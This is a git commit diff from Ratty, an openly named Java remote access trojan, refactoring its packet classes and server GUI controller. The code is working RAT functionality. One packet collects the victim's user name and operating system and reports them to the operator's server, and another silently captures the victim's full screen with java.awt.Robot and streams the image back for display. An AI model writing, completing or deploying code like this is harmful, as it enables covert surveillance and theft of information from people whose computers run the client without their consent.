Browse Source

Major changes

Made full use of the AbstractPingPongPacket class
Renamed and restructured stuff
master
Sogomn 9 years ago
parent
commit
6ea137b709
  1. 4
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 42
      Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
  3. 39
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  4. 40
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  5. 4
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

4
Ratty/src/de/sogomn/rat/Ratty.java

@ -8,7 +8,7 @@ import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.ServerGuiController;
import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty { public final class Ratty {
@ -53,7 +53,7 @@ public final class Ratty {
public static void startServer(final int port) { public static void startServer(final int port) {
final ActiveServer server = new ActiveServer(port); final ActiveServer server = new ActiveServer(port);
final RattyGui gui = new RattyGui(); final RattyGui gui = new RattyGui();
final ServerGuiController controller = new ServerGuiController(gui);
final RattyGuiController controller = new RattyGuiController(gui);
server.setObserver(controller); server.setObserver(controller);
server.start(); server.start();

42
Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java

@ -4,28 +4,58 @@ import de.sogomn.rat.ActiveClient;
public abstract class AbstractPingPongPacket implements IPacket { public abstract class AbstractPingPongPacket implements IPacket {
private byte type;
protected byte type;
public static final byte REQUEST = 0; public static final byte REQUEST = 0;
public static final byte DATA = 1; public static final byte DATA = 1;
public AbstractPingPongPacket(final byte type) {
this.type = type;
}
public AbstractPingPongPacket() { public AbstractPingPongPacket() {
type = REQUEST;
this(REQUEST);
} }
protected abstract void sendRequest(final ActiveClient client);
protected abstract void sendData(final ActiveClient client);
protected abstract void receiveRequest(final ActiveClient client);
protected abstract void receiveData(final ActiveClient client);
protected abstract void executeRequest(final ActiveClient client); protected abstract void executeRequest(final ActiveClient client);
protected abstract void executeData(final ActiveClient client); protected abstract void executeData(final ActiveClient client);
@Override @Override
public final void execute(final ActiveClient client) {
public final void send(final ActiveClient client) {
client.writeByte(type);
if (type == REQUEST) {
sendRequest(client);
} else if (type == DATA) {
sendData(client);
}
}
@Override
public final void receive(final ActiveClient client) {
type = client.readByte();
if (type == REQUEST) { if (type == REQUEST) {
type = DATA;
receiveRequest(client);
} else if (type == DATA) {
receiveData(client);
}
}
@Override
public final void execute(final ActiveClient client) {
if (type == REQUEST) {
executeRequest(client); executeRequest(client);
} else if (type == DATA) { } else if (type == DATA) {
type = REQUEST;
executeData(client); executeData(client);
} }
} }

39
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -3,15 +3,10 @@ package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.Ratty; import de.sogomn.rat.Ratty;
public final class InformationPacket implements IPacket {
public final class InformationPacket extends AbstractPingPongPacket {
private String name, os, version; private String name, os, version;
private byte type;
private static final byte REQUEST = 0;
private static final byte DATA = 1;
public InformationPacket(final String name, final String os, final String version) { public InformationPacket(final String name, final String os, final String version) {
this.name = name; this.name = name;
this.os = os; this.os = os;
@ -27,30 +22,42 @@ public final class InformationPacket implements IPacket {
} }
@Override @Override
public void send(final ActiveClient client) {
protected void sendRequest(final ActiveClient client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
client.writeUTF(name); client.writeUTF(name);
client.writeUTF(os); client.writeUTF(os);
client.writeUTF(version); client.writeUTF(version);
client.writeByte(type);
} }
@Override @Override
public void receive(final ActiveClient client) {
protected void receiveRequest(final ActiveClient client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
name = client.readUTF(); name = client.readUTF();
os = client.readUTF(); os = client.readUTF();
version = client.readUTF(); version = client.readUTF();
type = client.readByte();
} }
@Override @Override
public void execute(final ActiveClient client) {
if (type == REQUEST) {
final String name = System.getProperty("user.name");
final String os = System.getProperty("os.name");
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION);
protected void executeRequest(final ActiveClient client) {
type = DATA;
name = System.getProperty("user.name");
os = System.getProperty("os.name");
version = Ratty.VERSION;
client.addPacket(packet);
client.addPacket(this);
} }
@Override
protected void executeData(final ActiveClient client) {
//...
} }
public String getName() { public String getName() {

40
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -16,15 +16,10 @@ import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
public final class ScreenshotPacket implements IPacket {
public final class ScreenshotPacket extends AbstractPingPongPacket {
private BufferedImage image; private BufferedImage image;
private byte type;
private static final byte REQUEST = 0;
private static final byte DATA = 1;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 500; private static final int SCREEN_WIDTH = 500;
private static final int SCREEN_HEIGHT = 500; private static final int SCREEN_HEIGHT = 500;
@ -42,13 +37,12 @@ public final class ScreenshotPacket implements IPacket {
} }
@Override @Override
public void send(final ActiveClient client) {
client.writeByte(type);
if (type == REQUEST) {
return;
protected void sendRequest(final ActiveClient client) {
//...
} }
@Override
protected void sendData(final ActiveClient client) {
final ByteArrayOutputStream out = new ByteArrayOutputStream(); final ByteArrayOutputStream out = new ByteArrayOutputStream();
try { try {
@ -64,13 +58,12 @@ public final class ScreenshotPacket implements IPacket {
} }
@Override @Override
public void receive(final ActiveClient client) {
type = client.readByte();
if (type == REQUEST) {
return;
protected void receiveRequest(final ActiveClient client) {
//...
} }
@Override
protected void receiveData(final ActiveClient client) {
final int length = client.readInt(); final int length = client.readInt();
final byte[] data = new byte[length]; final byte[] data = new byte[length];
@ -88,22 +81,26 @@ public final class ScreenshotPacket implements IPacket {
} }
@Override @Override
public void execute(final ActiveClient client) {
if (type == REQUEST) {
protected void executeRequest(final ActiveClient client) {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen); final Rectangle screenRect = new Rectangle(screen);
try { try {
final Robot robot = new Robot(); final Robot robot = new Robot();
image = robot.createScreenCapture(screenRect);
type = DATA; type = DATA;
image = robot.createScreenCapture(screenRect);
} catch (final AWTException ex) { } catch (final AWTException ex) {
image = NO_IMAGE;
ex.printStackTrace(); ex.printStackTrace();
} }
client.addPacket(this); client.addPacket(this);
} else if (type == DATA) {
}
@Override
protected void executeData(final ActiveClient client) {
final int width = image.getWidth(); final int width = image.getWidth();
final int height = image.getHeight(); final int height = image.getHeight();
@ -117,6 +114,9 @@ public final class ScreenshotPacket implements IPacket {
screen.show(); screen.show();
screen.redraw(); screen.redraw();
} }
public BufferedImage getImage() {
return image;
} }
} }

4
Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java → Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -12,14 +12,14 @@ import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.server.IServerObserver;
public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController {
public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
private RattyGui gui; private RattyGui gui;
private ArrayList<ServerClient> clients; private ArrayList<ServerClient> clients;
private long nextId; private long nextId;
public ServerGuiController(final RattyGui gui) {
public RattyGuiController(final RattyGui gui) {
this.gui = gui; this.gui = gui;
clients = new ArrayList<ServerClient>(); clients = new ArrayList<ServerClient>();
Loading…
Cancel
Save